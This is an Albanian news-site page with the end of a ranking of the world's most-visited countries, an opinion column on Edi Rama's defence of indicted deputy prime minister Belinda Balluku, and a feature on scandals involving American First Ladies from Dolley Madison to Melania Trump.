    Turqia krenohet me site të pasura historike dhe qytete bregdetare piktoreske përgjatë Detit Egje dhe Detit Mesdhe. Vendi ka pritur 60,6 milionë mbërritje, duke u renditur në vendin e katërt të listës sonë.

    3. Shtetet e Bashkuara

    Sipas burimeve, turistët shpenzojnë më shumë para në Shtetet e Bashkuara sesa në çdo vend tjetër. Mendohet se merita i takon qëndrimeve më të gjata në SHBA. Me 72,4 milionë mbërritje, sektori turistik i Shteteve të Bashkuara është i treti në botë.

    2. Spanja

    Në vitin 2024, Spanja ishte vendi i dytë më i vizituar në botë, me 93,8 milionë mbërritje. Turistët e duan kombinimin e destinacioneve bregdetare, kulturës së pasur, ushqimit të shkëlqyer dhe klimës me diell, që e bëjnë një nga destinacionet më të preferuara globalisht.

    1. Franca

    Në vendin e parë të listës sonë është Franca me 102 milionë mbërritje! Këtu ndodhen 54 site të trashëgimisë botërore të UNESCO-s. Shumëllojshmëria e territorit bën të mundura aktivitete të ndryshme. Nga resortet e skive te degustimi i verërave, nga kuzhina e rafinuar te kultura, në Francë do të gjeni gjithçka.

    Burime: (United Nations World Tourism Organization)

  • Nga Armand SHKULLAKU – Si u ul një e pandehur në krah të ambasadores së SHBA

    Belinda Balluku ka lënë të kuptohet sot, se përveç mbështetjes pa kushte të kryeministrit Rama, ajo gëzon në mënyrë të tërthortë edhe një përkrahje nga Shtetet e Bashkuara të Amerikës. Shfaqja publike live në krah të përfaqësues së SHBA dhe fjalimi me rastin e pajisjes me çertifikatë për prodhimin e energjisë eoliane të një kompanie amerikane, mund të jenë parë nga shumë njerëz si një lloj rikuperimi i pozitave të lënduara rëndë të numrit dy të qeverisë.

    Imazhet e Ballukut dhe Nancy VonHorn, të ulura pranë njëra- tjetrës, bënë xhiron e mediave herë duke u komentuar si një lloj “pajtimi” i amerikanëve me zv/kryeministren dhe herë si një kurth i Ramës për ta vënë kryediplomaten përballë faktit të kryer. Një ngjarje e ngjashme pati ndodhur rreth 5 vjet më parë, kur ambasadorja e atëhershme Yuri Kim, braktisi një takim para kamerave sapo mori fjalën Ilir Beqaj. Mesazhi atëherë ishte i qartë, ndërsa ai sot lë vend për shumë interpretime, për më tepër që personi në krah të VonHorn ka statusin e të pandehurit nga prokuroria speciale.

    Pavarësisht interpretimeve të këtij episodi, i pari që nga vënia nën hetim e Belinda Ballukut, ai shërben si metaforë për të kuptuar më thellë rezistencën që kryeministri Rama po i bën këtë herë organeve të drejtësisë. Në thelb, ai po kërkon kohë për të menaxhuar të parën goditje ballore ndaj qeverisë dhe atij vetë si kryeministër. Dhe pse jo, të tentojë ta ekuilibrojë dhe mundësisht ta shmangë shënjestrën e saj. E gjitha kjo lidhet me një ndryshim të diskutuar të kursit të administratës së re amerikane (mbështetëse kryesore e SPAK), që e ka bërë Ramën të humbë kontrollin mbi prokurorinë e posaçme.

    Marrja e pandehur e numrit dy të qeverisë ndërsa është në detyrë, hetimi për funksionin zyrtar dhe jo për pasurinë personale e, mbi të gjitha, këmbëngulja për të ndaluar zv/kryeministren të shkelë në zyrë, përbëjnë ndryshimin cilësor në investigimin që SPAK ka bërë ndonjëherë mbi aferat dhe skandalet e pushtetit. Ky ndryshim, i kombinuar me një lloj distance të administratës aktuale amerikane në krahasim me atë të mëparshme, si dhe me mesazhet antologjike të presidentit Trump dhe sekretarit Rubio, që ditën e pavarësisë së Shqipërisë i bashkangjitën urimit luftën kundër krimit të organizuar dhe mbështetjen për SPAK, pasigurinë e Edi Ramës mund ta ketë shndërruar në paranojë.

    Rama nuk e lëshoi Ballukun jo për shkak të dhembshurisë apo vlerësimit për të. Ai e përdori zëvendësen e tij për të fituar kohë, në rast të një negocimi të mundshëm me ata që mund ta kishin vënë në rreth dhe njëkohësisht për të treguar se ai nuk është nga ata që dorëzohen lehtë dhe presin me duart lidhur kur t’iu vi radha. Kryeminstri veproi krejt ndryshe nga herët e tjera, kur goditjet e SPAK nuk shkaktonin valë rrotull tij. Ai e mbajti në detyrë superministren, nisi një kryqëzatë ndaj drejtësisë së re (deri dje medalja e artë e mazhorancës së tij) duke alarmuar për grusht shteti e republikë prokurorësh, madje inskenoi gati përplasje me armë mes agjentëve të BKH dhe Gardës. Për të shënuar kulmin kur me Gjykatë Kushtetuese e ktheu Ballukun në zyrë dhe tani, me dhunën e shumicës, ka bllokuar shqyrtimin e imunitetit të saj.

    Cilido që ka menduar se pas marrjes së pandehur nga SPAK, mbajtja e Ballukut në detyrë do të ishte çështje ditësh, ka dalë i gabuar. Sepse këtë herë Edi Rama po lufton për fatin e tij dhe jo atë të vartësve që i ka bërë kurban ndër vite. Ai po reziston edhe ndaj drejtësisë, me shpresën se ka fuqinë e mjaftueshme dhe pozitën e duhur për ta kaluar edhe këtë situatë. Herë nga roli i njeriut të gjithpushtetshëm, herë si skuth ala Mcgonigal, duke përdorur pushtet dhe lobim, Rama do të tentojë gjithçka për të gjetur çelsin e duhur të dyerve të reja në Uashington. Belinda është diga për të ndalur kohën derisa kryeministri të provojë t’ia dalë.

    Prandaj shfaqja e zv/kryeministres së pandehur në krah të ambasadores së SHBA, dukej si metafora e aventurës së fundit të Edi Ramës për të rikthyer kohët e arta. Për ta zhvendosur Belën nga banka e të akuzuarve, tek karrikja ngjitur me përfaqësuesit amerikanë. Dhe për të parë pësëri këta të fundit të duartrokasin ndërsa ai flet me pathos për luftën kundër korruspionit dhe trafikut të drogës.

    Ai e ka nisur këtë rrugë dhe, sado e pamundur të duket, do t’i shkojë deri në fund. Edi Rama, që njihet si politikani që ka ditur gjithnjë të tërhiqet përballë një fuqie më të madhe se e veta, këtë herë nuk ka ndërmend të hapë rrugë. Sulmi ndaj drejtësisë, përdorimi i Gjykatës Kushtetuese dhe bllokimi i imunitetit, dëshmojnë se me pushtetin që ka, ai nuk do të tërhiqet. Vendosja e një të pandehure në krah të ambasadores së SHBA, është vetëm një episod në një serial që Rama do ta luajë me çdo çmim, deri në fund.

  • Skandalet që kanë tronditur Shtëpinë e Bardhë: Kur gratë e presidentëve amerikanë u përfshinë në polemika, thashetheme dhe akuza që tronditën historinë

    Skandalet që kanë tronditur Shtëpinë e Bardhë: Kur gratë e presidentëve amerikanë u përfshinë në polemika, thashetheme dhe akuza që tronditën historinë

    Të qenit First Lady e Shteteve të Bashkuara nuk është thjesht një rol ceremonial. Është një pozitë ku çdo fjalë, gjest apo vendim analizohet nën lupën e opinionit publik dhe medias. E ndërsa disa gra presidentësh amerikanë kujtohen për elegancën, diplomacinë dhe përkushtimin ndaj çështjeve sociale, të tjera janë bërë pjesë e skandaleve që kanë tronditur politikën, shoqërinë dhe historinë amerikane. Nga ato të shekullit XIX, e deri te polemikat moderne, këto janë histori që tregojnë se as Shtëpia e Bardhë nuk ka qenë kurrë e imunizuar nga skandali.

    Thashetheme dhe akuza që në fillimet e republikës

    Konsiderohet një nga First Lades më me ndikim të hershëm, por emri i saj nuk i shpëtoi thashethemeve. Quhej Dolley Madison dhe përveç rolit aktiv në jetën sociale të Shtëpisë së Bardhë, ajo u përfol për një lidhje të mundshme me Thomas Jefferson, si dhe për ndikim të padrejtë në fitoren elektorale të bashkëshortit të saj, James Madison. Edhe pse asnjëherë të provuara, këto akuza tregojnë se skandali politik ka ekzistuar që në themelet e shtetit amerikan.

    Një tjetër rast i bujshëm ishte ai i Rachel Jackson, e cila u akuzua për bigami për shkak të një martese të lidhur para se divorci i saj i parë të finalizohej. Presioni publik dhe sulmet politike ishin aq të forta, sa ajo vdiq para se Andrew Jackson të merrte zyrtarisht presidencën.

    Kur morali publik përplaset me jetën private

    Në shekullin XIX, standardet morale ishin jashtëzakonisht të rrepta. Julia Tyler, për shembull, u përfshi në një skandal vetëm sepse kishte pozuar për një fotografi reklamuese – diçka e papranueshme për një grua të elitës në atë kohë. Reagimi ishte aq i ashpër, sa familja e dërgoi jashtë vendit për të shmangur turpin publik.

    Edhe Mary Todd Lincoln, bashkëshortja e Abraham Lincoln, u përball me akuza serioze për shpenzime të tepruara dhe keqpërdorim të pasurisë publike, duke dëmtuar imazhin e saj në një periudhë tashmë të trazuar për kombin.

    First Ladies që sfiduan normat shoqërore

    Lucy Hayes ka hyrë në histori jo për ndonjë skandal personal, por për qëndrimin e saj të ashpër kundër alkoolit. Vendimi për të ndaluar pijet alkoolike në Shtëpinë e Bardhë e bëri atë një figurë tejet të debatueshme dhe të papëlqyer nga stafi dhe elita politike.

    Ndërsa Lou Hoover ndezi polemikat racore kur ftoi një grua afro-amerikane për çaj në Shtëpinë e Bardhë, e duke ekspozuar tensionet e thella racore të SHBA-vë të viteve ’20.

    Kur pushteti kalon në hije

    Një nga rastet më të jashtëzakonshme është ai i Edith Wilson, e cila, pas goditjes në tru të bashkëshortit të saj Woodrow Wilson, mori de facto drejtimin e vendit. Pa mandat zyrtar, ajo u bë gruaja e parë që drejtoi Shtetet e Bashkuara, duke ngritur pikëpyetje serioze mbi transparencën dhe legjitimitetin e pushtetit.

    Akuza, tradhti dhe media moderne

    Shekujt XX dhe XXI sollën një ekspozim edhe më të madh mediatik. Eleanor Roosevelt u përfol për një marrëdhënie emocionale me gazetaren Lorena Hickok, një histori që edhe sot mbetet subjekt debati.

    Hillary Clinton është ndoshta First Lady më e përfshirë në polemika politike: nga skandalet financiare, te dështimi i reformës shëndetësore dhe tradhtia publike e bashkëshortit të saj, e deri te çështjet e serverëve privatë të email-eve.

    Vitet e fundit edhe Melania Trump është përballur me akuza për plagjiaturë, organizata bamirësie fiktive dhe zgjedhje të diskutueshme të veshjeve, duke ndezur debate globale.

    Historitë e First Ladies amerikane dëshmon se pas fasadës së pushtetit, luksit dhe protokollit, fshihen histori njerëzore të mbushura me presion, gabime, vendime të guximshme dhe skandale. Këto gra, të dashura apo të kritikuara, kanë lënë gjurmë të pashlyeshme në historinë e Shtëpisë së Bardhë, duke treguar se pushteti nuk mbron askënd nga gjykimi publik.

    Ja cilat janë skandalet më të mëdha që kanë përfshirë First Ladies amerikane

    Po ju rikujtojmë disa prej skandaleve më të mëdha që kanë përfshirë First Ladies amerikane ndër vite. Zbrisni më poshtë dhe zbuloni se cilat janë ato.

    Dolley Madison

    Kur bashkëshorti i saj James Madison mbante postin e sekretarit të Shtetit të Thomas Jefferson, thuhet se Dolley Madison ndihmonte në organizimin e ngjarjeve shoqërore në Shtëpinë e Bardhë, pasi gruaja e presidentit Jefferson, Martha, kishte ndërruar jetë.

    Por sipas kronikave të kohës Madison ishte dashnorja e Thomas Jefferson dhe këto akuza u përhapën shpejt. Jo vetëm kaq, ajo u akuzua edhe se kishte ndihmuar bashkëshortin e saj të fitonte zgjedhjet e vitit 1808, duke u lidhur sentimentalisht edhe me disa anëtarë të elektoratit. Këto akuza nuk u provuan kurrë.

    Rachel Jackson

    Rachel Jackson u akuzua për bigami pasi u martua me presidentin e ardhshëm Andrew Jackson, ndërkohë që ishte ende e martuar me një burrë të quajtur Lewis Robards. Çifti u martua në mars të vitit 1791, por divorci i saj nuk u finalizua deri më 1793.

    Kur Jackson kandidoi për president, kundërshtari i tij, John Quincy Adams, u përpoq t’i përdorte këto informacione në favor të tij, por më kot: në fund humbi përballë Jacksonit. Por, edhe Rachel Jackson nuk u bë kurrë First Lady. Ajo vdiq para betimit të Andrew Jackson-it.

    Julia Tyler

    Julia Gardiner u martua me presidentin John Tyler duke u bërë First Lady më 1844. Megjithatë, para se të martohej, ajo kishte pozuar për një foto me një burrë për reklamën e një dyqani pëlhurash të quajtur Bogert & Mecamly (në foto).

    Kjo mund të duket shumë normale sipas standardeve të sotme, por aso kohe shkaktoi një skandal të madh, veçanërisht për një person që vinte nga një mjedis kaq i lartë shoqëror. Familja e saj u turpërua aq shumë nga skandali, saqë e dërgoi në Evropë. Pas kthimit, Julia u afrua dhe u bashkua me Tyler.

    Mary Todd Lincoln

    Gruaja e presidentit Abraham Lincoln kishte reputacionin e një shpenzueseje madhe, të pakontrolluar. Mary Todd Lincoln u akuzua se kishte shpenzuar para federale për mallra luksi personale dhe se kishte vjedhur prona të Shtëpisë së Bardhë.

    Lucy Hayes

    Gruaja e presidentit Rutherford Hayes tronditi Uashingtonin duke mbështetur lëvizjen për temperancë, e cila kundërshtonte konsumimin e alkoolit. First Lady madje arriti të ndikonte që të ndalohej alkooli në të gjitha eventet e Shtëpisë së Bardhë. Lucy Hayes ishte aq e papëlqyer nga stafi i Shtëpisë së Bardhë, sa u bë e njohur si “Lucy e limonatës”.

    Frances Folsom

    Frances Folsom dhe presidenti Grover Cleveland u martuan në vitin 1886, në atë që (deri më sot) është martesa e vetme e kremtuar në Shtëpinë e Bardhë. Frances ishte 21 vjeçe dhe presidenti 49. Por diferenca e moshës nuk ishte e vetmja gjë që ngjalli dyshime në atë kohë. Frances ishte vajza e një miku të Groverit dhe presidenti e njihte që nga lindja.

    Edith Wilson

    Bashkëshorti i Edith Wilson, presidenti Woodrow Wilson, pësoi një goditje në tru më 1919 dhe në cilësinë e First Lady, Edith mori drejtimin e vendit, edhe pse në mënyrë jozyrtare. Në këtë mënyrë, ajo u bë gruaja e parë që drejtoi Shtetet e Bashkuara, edhe pse për një periudhë të shkurtër.

    Florence Kling Harding

    Gruaja e Warren Harding, Florence, u bë e njohur si “Dukesha”, për përkushtimin e saj në promovimin e karrierës së presidentit. Para se të martohej me Harding, Florence kishte qenë e përfshirë në disa skandale personale, por asnjë i krahasueshëm me atë për të cilin u akuzua pas vdekjes së bashkëshortit.

    Florence Kling Harding u akuzua se kishte helmuar presidentin! Akuza pas vdekjes gjendet në kujtimet e vitit 1930 të zyrtarit të Departamentit të Drejtësisë Gaston Means, “Vdekja e çuditshme e presidentit Harding”. Edhe pse kjo akuzë është hedhur poshtë prej kohësh si e pabazë, një tjetër akuzë e përfshirë në libër rezultoi e vërtetë: Warren Harding pati një djalë jashtëmartesor me të dashurën e tij Nan Britton.

    Grace Coolidge

    Gruaja e presidentit Calvin Coolidge u akuzua për tradhti bashkëshortore. Sipas asaj që thonë kronikat e kohës, lidhja ndodhi gjatë një ekskursioni mes First Lady dhe shoqëruesit të saj të Shërbimit Sekret, James Haley.

    Haley u dëbua më pas nga Shërbimi Sekret, gjë që vetëm sa e forcoi akuzën. Shtypi i kohës foli për këtë çështje, me gazeta si Boston Herald që publikuan tituj si: “Ecja e gjatë e gruas irriton Coolidge-in”.

    Lou Hoover

    Në vitin 1929, gruaja e presidentit Herbert Hoover shkaktoi polemikë racore pasi ftoi Jessie DePriest, gruan e të vetmit anëtar zezak të Kongresit, Oscar DePriest, për çaj në Shtëpinë e Bardhë. Problemi nuk ishte prania e personave me ngjyrë në Shtëpinë e Bardhë, por frika e votuesve të Jugut se udhëheqësit e të drejtave civile do ta shfrytëzonin vizitën e DePriest për të promovuar kauzën e tyre (Oscar DePriest ishte aktivist për të drejtat civile).

    Eleanor Roosevelt

    Sipas lajmeve, gruaja e presidentit Franklin D. Roosevelt mund të ketë pasur një lidhje me një gazetare të quajtur Lorena Hickok.

    Hickok ishte shumë e afërt me Eleanor Roosevelt. Letrat mes tyre, të publikuara nga New York Times më 1979, përmbanin fraza si: “Hick, zemër… Oh, sa do të doja të të përqafoja… Sa shumë do të doja të të shtrëngoja fort”.

    Djali i Roosevelt-ëve, Franklin Roosevelt Jr., nuk e interpretoi korrespondencën si të natyrës sentimentale. Ai tha se publiku modern “nuk e kupton atë lloj dashurie, që lindte mes njerëzve që kishin nevojë për njëri-tjetrin dhe i jepnin njëri-tjetrit”. Me sa duket, nëna e tij ishte adhuruese e autorëve si Jane Austen dhe motrat Brontë, të cilat shkruanin në një stil të ngjashëm, dhe asaj i pëlqente të përdorte “atë formë shkrimi të zjarrtë”.

    Bess Truman

    Në vitin 1945, anëtarë të organizatës “Bijat e Revolucionit Amerikan” penguan pianisten zezake Hazel Scott të hynte në Constitution Hall të shoqatës, sepse ishte e rezervuar “vetëm për artistë të bardhë”. Bess Truman, anëtare nderi e DAR-it, mbeti e tronditur. Ajo i kërkoi bashkëshortit të saj, Harry S. Truman, të ndërhynte, por nuk kishte çfarë të bëhej pasi DAR ishte një organizatë private.

    Bess Truman i dërgoi një telegram bashkëshortit të Scott-it, deputetit Adam Clayton Powell, duke deklaruar se “dënonte çdo veprim që i mohonte talentit artistik mundësinë për t’u shprehur për shkak të paragjykimeve ndaj racës ose origjinës”. Powell e quajti Bess Trumanin si “gruaja e fundit e vendit”.

    Jacqueline Kennedy

    Ndryshe nga bashkëshorti i saj, presidenti John F. Kennedy, Jackie mbeti pothuajse e paprekur nga skandalet si First Lady. Megjithatë, gjërat u ndërlikuan disi gjatë martesës së saj të dytë me Aristotel Onassis. Kjo sepse Onassis ishte divorcuar, por Kisha Katolike nuk e njohu anulimin. Përtej dallimeve fetare, të dy u martuan dhe Jackie nuk u shkishërua.

    Betty Ford

    Një foto e First Ladyt duke kërcyer mbi tavolinën e Cabinet Room në Shtëpinë e Bardhë më 1977 bëri bujë, por jo për arsyet që mendoni. Nuk ishte fakti që gruaja e Gerald Fordit ishte zbathur mbi tavolinë, por fakti që ajo kishte veshur pantallona.

    Me sa duket, veshja e pantallonave në publik si First Lady shihej keq. Presidenti Ford konsiderohej shumë progresist për të qenë republikan, gjë që e vuri edhe bashkëshorten e tij në qendër të vëmendjes.

    Nancy Reagan

    Gruaja e Ronald Reaganit, sipas asaj që dihet, konsultohej me një astrolog për të planifikuar ditën e presidentit. Me sa duket, ajo nuk bënte asgjë pa u këshilluar më parë me yjet dhe planetët.

    Por futja e astrologjisë në Shtëpinë e Bardhë nuk ishte e vetmja gjë që tronditi figurën e First Ladyt. Libri i vitit 1991 i Kitty Kelley, “Nancy Reagan: Biografia e paautorizuar”, përmban disa akuza të rënda ndaj saj, përfshirë pretendimin se drejtonte Shtëpinë e Bardhë dhe se pinte marihuanë.

    Hillary Clinton

    Hillary Clinton nuk është e panjohur për skandalet, përfshirë akuzat për keqmenaxhim financiar në skandalet Cattlegate dhe Whitewater. Një tjetër polemikë shpërtheu kur ajo bënte fushatë me Bill Clintonin më 1992. Kur u pyet pse, Hillary u përgjigj me frazën e famshme se mund të “rrinte në shtëpi duke bërë biskota”. Ky koment nuk u prit mirë nga amvisat.

    Ajo u rikthye në qendër të vëmendjes gjatë asaj që u bë e njohur si “Hillarycare”. Ajo drejtonte task-force që mbështeste planin shëndetësor të Clintonit, por përfundoi e përfshirë në një padi të ngritur nga disa lobe të shëndetësisë. Senati përfundimisht e bllokoi ligjin.

    Dhe pastaj, sigurisht, ishte skandali i tradhtisë që përfshiu bashkëshortin e saj, Bill, të cilit ajo i qëndroi besnike gjatë gjithë kohëzgjatjes së lidhjes, por për këtë u kritikua publikisht. Hillary Clinton ka vazhduar të përballet me një sërë skandalesh gjatë karrierës së saj, përfshirë akuzat se kishte përdorur një server privat emaili për komunikimet zyrtare.

    Laura Bush

    E kaluara e Laura Bush-it u rikthye për ta ndjekur më 2000, kur doli në pah fakti se në moshën 17-vjeçare ishte përfshirë në një aksident automobilistik. First Lady e ardhshme pati injoruar një tabelë ndalimi dhe ishte përplasur një tjetër makinë. Drejtuesi i mjetit tjetër, një djalë 17 vjeç, kishte vdekur në vend.

    Melania Trump

    Gruaja e Donald Trump u akuzua se drejtonte një organizatë bamirësie fiktive të quajtur Fostering the Future. Në një deklaratë zyrtare thuhet se: “Zonja Trump nuk drejton një organizatë bamirësie 501(c)(3). ‘Fostering the Future’ është emri i platformës dhe është pjesë e një iniciative Be Best”.

    First Lady u akuzua edhe për plagjiaturë të fjalimeve, të paktën në dy raste. Njëri prej tyre ishte marrë nga ish-First Lady, Michelle Obama. Edhe zgjedhjet e veshjes së Melania Trumpit kanë qenë herë pas here kundërthënëse, përfshirë xhaketën me mbishkrimin “Nuk më intereson vërtet. Po ty?” të veshur gjatë vizitës te fëmijët migrantë.